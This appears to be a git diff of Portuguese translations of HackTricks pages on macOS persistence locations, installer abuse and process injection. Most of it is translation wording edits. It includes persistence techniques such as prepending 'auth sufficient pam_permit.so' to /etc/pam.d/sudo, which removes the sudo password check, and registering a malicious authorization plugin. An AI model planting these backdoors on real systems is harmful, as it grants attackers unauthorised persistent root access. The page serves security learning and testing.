O mecanismo subjacente do Spotlight envolve um processo central chamado 'mds', que significa **'servidor de metadados'**. Esse processo orquestra todo o serviço do Spotlight. Complementando isso, existem vários daemons 'mdworker' que realizam uma variedade de tarefas de manutenção, como indexar diferentes tipos de arquivos (`ps -ef | grep mdworker`). Essas tarefas são possíveis por meio de plugins do Spotlight, ou **".mdimporter bundles**", que permitem ao Spotlight entender e indexar conteúdo em uma ampla gama de formatos de arquivo.
|
||||
O mecanismo subjacente do Spotlight envolve um processo central chamado 'mds', que significa **'servidor de metadados'**. Esse processo orquestra todo o serviço do Spotlight. Complementando isso, existem vários daemons 'mdworker' que realizam uma variedade de tarefas de manutenção, como indexar diferentes tipos de arquivos (`ps -ef | grep mdworker`). Essas tarefas são possíveis por meio de plugins importadores do Spotlight, ou **".mdimporter bundles**", que permitem ao Spotlight entender e indexar conteúdo em uma ampla gama de formatos de arquivo.
|
||||
|
||||
Os plugins ou **pacotes `.mdimporter`** estão localizados nos locais mencionados anteriormente e se um novo pacote aparecer, ele é carregado em questão de minutos (não é necessário reiniciar nenhum serviço). Esses pacotes precisam indicar quais **tipos de arquivo e extensões eles podem gerenciar**, dessa forma, o Spotlight os usará quando um novo arquivo com a extensão indicada for criado.
|
||||
Os plugins ou **bundles `.mdimporter`** estão localizados nos locais mencionados anteriormente e se um novo bundle aparecer, ele é carregado em questão de minutos (sem a necessidade de reiniciar nenhum serviço). Esses bundles precisam indicar quais **tipos de arquivo e extensões eles podem gerenciar**, dessa forma, o Spotlight os usará quando um novo arquivo com a extensão indicada for criado.
|
||||
|
||||
É possível **encontrar todos os `mdimporters`** carregados executando:
|
||||
```bash
|
||||
|
@ -1124,7 +1140,7 @@ Paths: id(501) (
|
|||
"/System/Library/Spotlight/PDF.mdimporter",
|
||||
[...]
|
||||
```
|
||||
E por exemplo **/Library/Spotlight/iBooksAuthor.mdimporter** é usado para analisar esses tipos de arquivos (extensões `.iba` e `.book` entre outros):
|
||||
E por exemplo **/Library/Spotlight/iBooksAuthor.mdimporter** é usado para analisar esses tipos de arquivos (extensões `.iba` e `.book`, entre outros):
|
||||
```json
|
||||
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
||||
|
||||
|
@ -1163,7 +1179,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
{% hint style="danger" %}
|
||||
Se você verificar o Plist de outros `mdimporter`, você pode não encontrar a entrada **`UTTypeConformsTo`**. Isso ocorre porque é um _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) integrado e não precisa especificar extensões.
|
||||
|
||||
Além disso, os plugins padrão do sistema sempre têm precedência, então um atacante só pode acessar arquivos que não sejam indexados de outra forma pelos próprios `mdimporters` da Apple.
|
||||
Além disso, os plugins padrão do sistema sempre têm precedência, então um atacante só pode acessar arquivos que não são indexados de outra forma pelos próprios `mdimporters` da Apple.
|
||||
{% endhint %}
|
||||
|
||||
Para criar seu próprio importador, você pode começar com este projeto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e depois alterar o nome, os **`CFBundleDocumentTypes`** e adicionar **`UTImportedTypeDeclarations`** para que ele suporte a extensão que você deseja e refleti-las em **`schema.xml`**.\
|
||||
|
@ -1174,12 +1190,12 @@ Por fim, **construa e copie seu novo `.mdimporter`** para um dos locais anterior
|
|||
### ~~Painel de Preferências~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Não parece que isso está funcionando mais.
|
||||
Parece que isso não está mais funcionando.
|
||||
{% endhint %}
|
||||
|
||||
Descrição: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
|
||||
|
||||
* Útil para burlar a sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Útil para contornar a sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Requer uma ação específica do usuário
|
||||
* Bypass do TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
|
@ -1189,7 +1205,9 @@ Descrição: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevil
|
|||
* **`/Library/PreferencePanes`**
|
||||
* **`~/Library/PreferencePanes`**
|
||||
|
||||
Descrição: Não parece que isso está funcionando mais.
|
||||
#### Descrição
|
||||
|
||||
Parece que isso não está mais funcionando.
|
||||
|
||||
## Bypass de Sandbox Root
|
||||
|
||||
|
@ -1201,7 +1219,7 @@ Aqui você pode encontrar locais de inicialização úteis para **burlar a sandb
|
|||
|
||||
Descrição: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/)
|
||||
|
||||
* Útil para burlar a sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Útil para contornar a sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Mas você precisa ser root
|
||||
* Bypass do TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
|
@ -1216,7 +1234,7 @@ Descrição: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevil
|
|||
|
||||
#### Descrição e Exploração
|
||||
|
||||
Os scripts periódicos (**`/etc/periodic`**) são executados por causa dos **launch daemons** configurados em `/System/Library/LaunchDaemons/com.apple.periodic*`. Note que os scripts armazenados em `/etc/periodic/` são **executados** como o **proprietário do arquivo**, então isso não funcionará para uma possível escalada de privilégios.
|
||||
Os scripts periódicos (**`/etc/periodic`**) são executados por causa dos **launch daemons** configurados em `/System/Library/LaunchDaemons/com.apple.periodic*`. Note que os scripts armazenados em `/etc/periodic/` são **executados** como o **proprietário do arquivo**, então isso não funcionará para uma potencial escalada de privilégios.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1261,7 +1279,7 @@ monthly_local="/etc/monthly.local" # Local scripts
|
|||
Se você conseguir escrever qualquer um dos arquivos `/etc/daily.local`, `/etc/weekly.local` ou `/etc/monthly.local`, ele será **executado mais cedo ou mais tarde**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Observe que o script periódico será **executado como o proprietário do script**. Portanto, se um usuário comum for o proprietário do script, ele será executado como esse usuário (isso pode prevenir ataques de escalonamento de privilégios).
|
||||
Observe que o script periódico será **executado como o proprietário do script**. Portanto, se um usuário comum for o proprietário do script, ele será executado como esse usuário (isso pode evitar ataques de escalonamento de privilégios).
|
||||
{% endhint %}
|
||||
|
||||
### PAM
|
||||
|
@ -1279,13 +1297,13 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
|
|||
|
||||
#### Descrição e Exploração
|
||||
|
||||
Como o PAM está mais focado em **persistência** e malware do que em execução fácil dentro do macOS, este blog não fornecerá uma explicação detalhada, **leia os artigos para entender melhor essa técnica**.
|
||||
Como o PAM está mais focado em **persistência** e malware do que na execução fácil dentro do macOS, este blog não fornecerá uma explicação detalhada, **leia os artigos para entender melhor essa técnica**.
|
||||
|
||||
Verifique os módulos do PAM com:
|
||||
```bash
|
||||
ls -l /etc/pam.d
|
||||
```
|
||||
Uma técnica de persistência/escalada de privilégios abusando do PAM é tão fácil quanto modificar o módulo /etc/pam.d/sudo adicionando no início a linha:
|
||||
Uma técnica de persistência/escalada de privilégios abusando do PAM é tão simples quanto modificar o módulo /etc/pam.d/sudo adicionando no início a linha:
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
|
@ -1308,8 +1326,8 @@ Note que este diretório é protegido pelo TCC, então é altamente provável qu
|
|||
|
||||
### Plugins de Autorização
|
||||
|
||||
Descrição: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
|
||||
Descrição: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
|
||||
Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
|
||||
|
||||
* Útil para contornar a sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Mas você precisa ser root e fazer configurações extras
|
||||
|
@ -1323,7 +1341,7 @@ Descrição: [https://posts.specterops.io/persistent-credential-theft-with-autho
|
|||
|
||||
#### Descrição e Exploração
|
||||
|
||||
Você pode criar um plugin de autorização que será executado quando um usuário fizer login para manter a persistência. Para obter mais informações sobre como criar um desses plugins, consulte as descrições anteriores (e tenha cuidado, um mal escrito pode bloqueá-lo e você precisará limpar seu Mac no modo de recuperação).
|
||||
Você pode criar um plugin de autorização que será executado quando um usuário fizer login para manter a persistência. Para obter mais informações sobre como criar um desses plugins, consulte os writeups anteriores (e tenha cuidado, um mal escrito pode bloqueá-lo e você precisará limpar seu Mac no modo de recuperação).
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
|
@ -1363,7 +1381,7 @@ security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
|||
```
|
||||
O **`evaluate-mechanisms`** informará ao framework de autorização que será necessário **chamar um mecanismo externo para autorização**. Além disso, **`privileged`** fará com que seja executado pelo root.
|
||||
|
||||
Dispare com:
|
||||
Acione-o com:
|
||||
```bash
|
||||
security authorize com.asdf.asdf
|
||||
```
|
||||
|
@ -1424,7 +1442,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
|||
|
||||
Desta forma, seus módulos compilados serão carregados pelo Apache. A única coisa é que você precisa **assiná-los com um certificado Apple válido**, ou você precisa **adicionar um novo certificado confiável** no sistema e **assiná-los** com ele.
|
||||
|
||||
Em seguida, se necessário, para garantir que o servidor seja iniciado, você pode executar:
|
||||
Então, se necessário, para garantir que o servidor seja iniciado, você pode executar:
|
||||
```bash
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
|
||||
```
|
||||
|
@ -1493,23 +1511,7 @@ Certifique-se de que tanto o script rc quanto o arquivo `StartupParameters.plist
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="superservicename" %}
|
||||
|
||||
### Localizações de Inicialização Automática do macOS
|
||||
|
||||
O macOS oferece várias maneiras de iniciar automaticamente programas e scripts quando um usuário faz login. Essas são algumas das localizações comuns onde os itens de inicialização automática podem ser encontrados:
|
||||
|
||||
- **LaunchAgents**: Localizados em `~/Library/LaunchAgents` e `/Library/LaunchAgents`, esses arquivos .plist são usados para iniciar processos quando um usuário faz login.
|
||||
|
||||
- **LaunchDaemons**: Localizados em `/Library/LaunchDaemons`, esses arquivos .plist são usados para iniciar processos durante a inicialização do sistema.
|
||||
|
||||
- **Login Items**: Configurados nas preferências do sistema, os itens de login são aplicativos ou scripts que são abertos automaticamente quando um usuário faz login.
|
||||
|
||||
- **Startup Items**: Localizados em `/Library/StartupItems`, esses scripts são usados para iniciar processos durante a inicialização do sistema, mas são obsoletos em versões mais recentes do macOS.
|
||||
|
||||
Ao revisar e gerenciar essas localizações, você pode garantir que apenas os itens desejados sejam iniciados automaticamente no seu sistema macOS. Isso pode ajudar a melhorar a segurança e o desempenho do seu dispositivo.
|
||||
|
||||
{% endtab %}
|
||||
{% tab title="superservicename" %}
|
||||
```bash
|
||||
#!/bin/sh
|
||||
. /etc/rc.common
|
||||
|
@ -1539,15 +1541,15 @@ Não consigo encontrar este componente no meu macOS, para mais informações con
|
|||
|
||||
Artigo: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Introduzido pela Apple, **emond** é um mecanismo de registro que parece estar subdesenvolvido ou possivelmente abandonado, mas ainda permanece acessível. Embora não seja particularmente benéfico para um administrador de Mac, este serviço obscuro poderia servir como um método sutil de persistência para atores maliciosos, provavelmente passando despercebido pela maioria dos administradores do macOS.
|
||||
Introduzido pela Apple, **emond** é um mecanismo de registro que parece estar subdesenvolvido ou possivelmente abandonado, mas ainda permanece acessível. Embora não seja particularmente benéfico para um administrador de Mac, este serviço obscuro poderia servir como um método sutil de persistência para atores de ameaças, provavelmente passando despercebido pela maioria dos administradores do macOS.
|
||||
|
||||
Para aqueles cientes de sua existência, identificar qualquer uso malicioso do **emond** é direto. O LaunchDaemon do sistema para este serviço procura scripts para executar em um único diretório. Para inspecionar isso, o seguinte comando pode ser usado:
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
### XQuartz
|
||||
### ~~XQuartz~~
|
||||
|
||||
Descrição: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
#### Localização
|
||||
|
||||
|
@ -1557,12 +1559,12 @@ Descrição: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevil
|
|||
|
||||
#### Descrição e Exploração
|
||||
|
||||
XQuartz **não está mais instalado no macOS**, então se você deseja mais informações, consulte a descrição.
|
||||
XQuartz **não está mais instalado no macOS**, então se você deseja mais informações, consulte o writeup.
|
||||
|
||||
### kext
|
||||
### ~~kext~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
É tão complicado instalar kext mesmo como root que não considerarei isso para escapar das sandboxes ou mesmo para persistência (a menos que você tenha um exploit)
|
||||
É tão complicado instalar kext mesmo como root que não considerarei isso para escapar de ambientes restritos ou mesmo para persistência (a menos que você tenha um exploit)
|
||||
{% endhint %}
|
||||
|
||||
#### Localização
|
||||
|
@ -1727,6 +1729,6 @@ Outras formas de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,24 @@
|
|||
# Abuso de Instaladores do macOS
|
||||
# Abuso de Instaladores no macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informações Básicas sobre Pkg
|
||||
|
||||
Um **pacote de instalador** do macOS (também conhecido como arquivo `.pkg`) é um formato de arquivo usado pelo macOS para **distribuir software**. Esses arquivos são como uma **caixa que contém tudo o que um software** precisa para instalar e funcionar corretamente.
|
||||
Um **pacote de instalação do macOS** (também conhecido como arquivo `.pkg`) é um formato de arquivo usado pelo macOS para **distribuir software**. Esses arquivos são como uma **caixa que contém tudo o que um software** precisa para instalar e funcionar corretamente.
|
||||
|
||||
O arquivo do pacote em si é um arquivo de arquivo que contém uma **hierarquia de arquivos e diretórios que serão instalados no computador de destino**. Ele também pode incluir **scripts** para realizar tarefas antes e depois da instalação, como configurar arquivos de configuração ou limpar versões antigas do software.
|
||||
O arquivo do pacote em si é um arquivo compactado que contém uma **hierarquia de arquivos e diretórios que serão instalados no computador de destino**. Ele também pode incluir **scripts** para realizar tarefas antes e depois da instalação, como configurar arquivos de configuração ou limpar versões antigas do software.
|
||||
|
||||
### Hierarquia
|
||||
|
||||
|
@ -27,8 +27,8 @@ O arquivo do pacote em si é um arquivo de arquivo que contém uma **hierarquia
|
|||
* **Distribuição (xml)**: Personalizações (título, texto de boas-vindas...) e verificações de script/instalação
|
||||
* **PackageInfo (xml)**: Informações, requisitos de instalação, local de instalação, caminhos para scripts a serem executados
|
||||
* **Lista de materiais (bom)**: Lista de arquivos para instalar, atualizar ou remover com permissões de arquivo
|
||||
* **Carga (arquivo CPIO gzip compactado)**: Arquivos para instalar no `local de instalação` do PackageInfo
|
||||
* **Scripts (arquivo CPIO gzip compactado)**: Scripts de pré e pós-instalação e mais recursos extraídos para um diretório temporário para execução.
|
||||
* **Carga (arquivo CPIO compactado com gzip)**: Arquivos para instalar no `local de instalação` do PackageInfo
|
||||
* **Scripts (arquivo CPIO compactado com gzip)**: Scripts de pré e pós-instalação e mais recursos extraídos para um diretório temporário para execução.
|
||||
|
||||
### Descompactar
|
||||
```bash
|
||||
|
@ -44,9 +44,11 @@ xar -xf "/path/to/package.pkg"
|
|||
cat Scripts | gzip -dc | cpio -i
|
||||
cpio -i < Scripts
|
||||
```
|
||||
Para visualizar o conteúdo do instalador sem descompactá-lo manualmente, você também pode usar a ferramenta gratuita [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/).
|
||||
|
||||
## Informações Básicas sobre DMG
|
||||
|
||||
Os arquivos DMG, ou Imagens de Disco da Apple, são um formato de arquivo usado pelo macOS da Apple para imagens de disco. Um arquivo DMG é essencialmente uma **imagem de disco montável** (contém seu próprio sistema de arquivos) que contém dados de bloco brutos normalmente comprimidos e às vezes criptografados. Quando você abre um arquivo DMG, o macOS o **monta como se fosse um disco físico**, permitindo que você acesse seu conteúdo.
|
||||
Os arquivos DMG, ou Apple Disk Images, são um formato de arquivo usado pelo macOS da Apple para imagens de disco. Um arquivo DMG é essencialmente uma **imagem de disco montável** (ele contém seu próprio sistema de arquivos) que contém dados de bloco brutos normalmente comprimidos e às vezes criptografados. Quando você abre um arquivo DMG, o macOS o **monta como se fosse um disco físico**, permitindo que você acesse seu conteúdo.
|
||||
|
||||
### Hierarquia
|
||||
|
||||
|
@ -58,11 +60,11 @@ A hierarquia de um arquivo DMG pode ser diferente com base no conteúdo. No enta
|
|||
- Aplicativo (.app): Este é o aplicativo real. No macOS, um aplicativo é tipicamente um pacote que contém muitos arquivos e pastas individuais que compõem o aplicativo.
|
||||
- Link de Aplicativos: Este é um atalho para a pasta Aplicativos no macOS. O objetivo disso é facilitar a instalação do aplicativo. Você pode arrastar o arquivo .app para este atalho para instalar o aplicativo.
|
||||
|
||||
## Privilégios Elevados via abuso de pkg
|
||||
## Privesc via abuso de pkg
|
||||
|
||||
### Execução a partir de diretórios públicos
|
||||
### Execução de diretórios públicos
|
||||
|
||||
Se um script de pré ou pós-instalação estiver, por exemplo, sendo executado a partir de **`/var/tmp/Installerutil`**, e um atacante puder controlar esse script, ele poderá elevar os privilégios sempre que for executado. Ou outro exemplo semelhante:
|
||||
Se um script de pré ou pós-instalação estiver, por exemplo, sendo executado em **`/var/tmp/Installerutil`**, e um atacante puder controlar esse script, ele poderá elevar privilégios sempre que for executado. Ou outro exemplo semelhante:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -74,17 +76,15 @@ Esta é uma [função pública](https://developer.apple.com/documentation/securi
|
|||
(lldb) b AuthorizationExecuteWithPrivileges
|
||||
# You could also check FS events to find this missconfig
|
||||
```
|
||||
Para mais informações, confira esta palestra: [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw)
|
||||
|
||||
### Execução por montagem
|
||||
|
||||
Se um instalador escreve em `/tmp/fixedname/bla/bla`, é possível **criar um ponto de montagem** sobre `/tmp/fixedname` sem proprietários para que você possa **modificar qualquer arquivo durante a instalação** para abusar do processo de instalação.
|
||||
|
||||
Um exemplo disso é **CVE-2021-26089** que conseguiu **sobrescrever um script periódico** para obter execução como root. Para mais informações, confira a palestra: [**OBTS v4.0: "Montanha de Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
Um exemplo disso é o **CVE-2021-26089** que conseguiu **sobrescrever um script periódico** para obter execução como root. Para mais informações, confira a palestra: [**OBTS v4.0: "Montanha de Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
|
||||
## pkg como malware
|
||||
|
||||
### Carga Vazia
|
||||
### Carga vazia
|
||||
|
||||
É possível simplesmente gerar um arquivo **`.pkg`** com **scripts de pré e pós-instalação** sem nenhuma carga útil.
|
||||
|
||||
|
@ -98,17 +98,3 @@ Um exemplo disso é **CVE-2021-26089** que conseguiu **sobrescrever um script pe
|
|||
|
||||
* [**DEF CON 27 - Desempacotando Pkgs Uma Visão Interna dos Pacotes de Instalação do MacOS e Falhas Comuns de Segurança**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
|
||||
* [**OBTS v4.0: "O Mundo Selvagem dos Instaladores do macOS" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,41 +2,41 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Abuso de Processos no MacOS
|
||||
## Abuso de Processos no macOS
|
||||
|
||||
O MacOS, como qualquer outro sistema operacional, oferece uma variedade de métodos e mecanismos para que **processos interajam, comuniquem-se e compartilhem dados**. Embora essas técnicas sejam essenciais para o funcionamento eficiente do sistema, elas também podem ser abusadas por atores de ameaças para **realizar atividades maliciosas**.
|
||||
O macOS, como qualquer outro sistema operacional, fornece uma variedade de métodos e mecanismos para que os **processos interajam, comuniquem e compartilhem dados**. Embora essas técnicas sejam essenciais para o funcionamento eficiente do sistema, também podem ser abusadas por atores maliciosos para **realizar atividades maliciosas**.
|
||||
|
||||
### Injeção de Biblioteca
|
||||
|
||||
Injeção de Biblioteca é uma técnica na qual um atacante **força um processo a carregar uma biblioteca maliciosa**. Uma vez injetada, a biblioteca executa no contexto do processo alvo, fornecendo ao atacante as mesmas permissões e acesso que o processo.
|
||||
A Injeção de Biblioteca é uma técnica na qual um atacante **força um processo a carregar uma biblioteca maliciosa**. Uma vez injetada, a biblioteca é executada no contexto do processo-alvo, fornecendo ao atacante as mesmas permissões e acesso do processo.
|
||||
|
||||
{% content-ref url="macos-library-injection/" %}
|
||||
[macos-library-injection](macos-library-injection/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Hooking de Função
|
||||
### Hooking de Funções
|
||||
|
||||
Hooking de Função envolve **interceptar chamadas de função** ou mensagens dentro de um código de software. Ao fazer hooking de funções, um atacante pode **modificar o comportamento** de um processo, observar dados sensíveis ou até mesmo ganhar controle sobre o fluxo de execução.
|
||||
O Hooking de Funções envolve **interceptar chamadas de função** ou mensagens dentro de um código de software. Ao enganchar funções, um atacante pode **modificar o comportamento** de um processo, observar dados sensíveis ou até mesmo obter controle sobre o fluxo de execução.
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Comunicação Entre Processos
|
||||
### Comunicação entre Processos
|
||||
|
||||
Comunicação Entre Processos (IPC) refere-se a diferentes métodos pelos quais processos separados **compartilham e trocam dados**. Embora o IPC seja fundamental para muitas aplicações legítimas, ele também pode ser mal utilizado para subverter o isolamento de processos, vazar informações sensíveis ou realizar ações não autorizadas.
|
||||
A Comunicação entre Processos (IPC) refere-se a diferentes métodos pelos quais processos separados **compartilham e trocam dados**. Embora o IPC seja fundamental para muitas aplicações legítimas, ele também pode ser mal utilizado para subverter o isolamento de processos, vazar informações sensíveis ou realizar ações não autorizadas.
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
|
@ -50,9 +50,17 @@ Aplicações Electron executadas com variáveis de ambiente específicas podem s
|
|||
[macos-electron-applications-injection.md](macos-electron-applications-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Injeção em Chromium
|
||||
|
||||
É possível usar as flags `--load-extension` e `--use-fake-ui-for-media-stream` para realizar um **ataque man in the browser** permitindo roubar pressionamentos de teclas, tráfego, cookies, injetar scripts em páginas...:
|
||||
|
||||
{% content-ref url="macos-chromium-injection.md" %}
|
||||
[macos-chromium-injection.md](macos-chromium-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### NIB Sujo
|
||||
|
||||
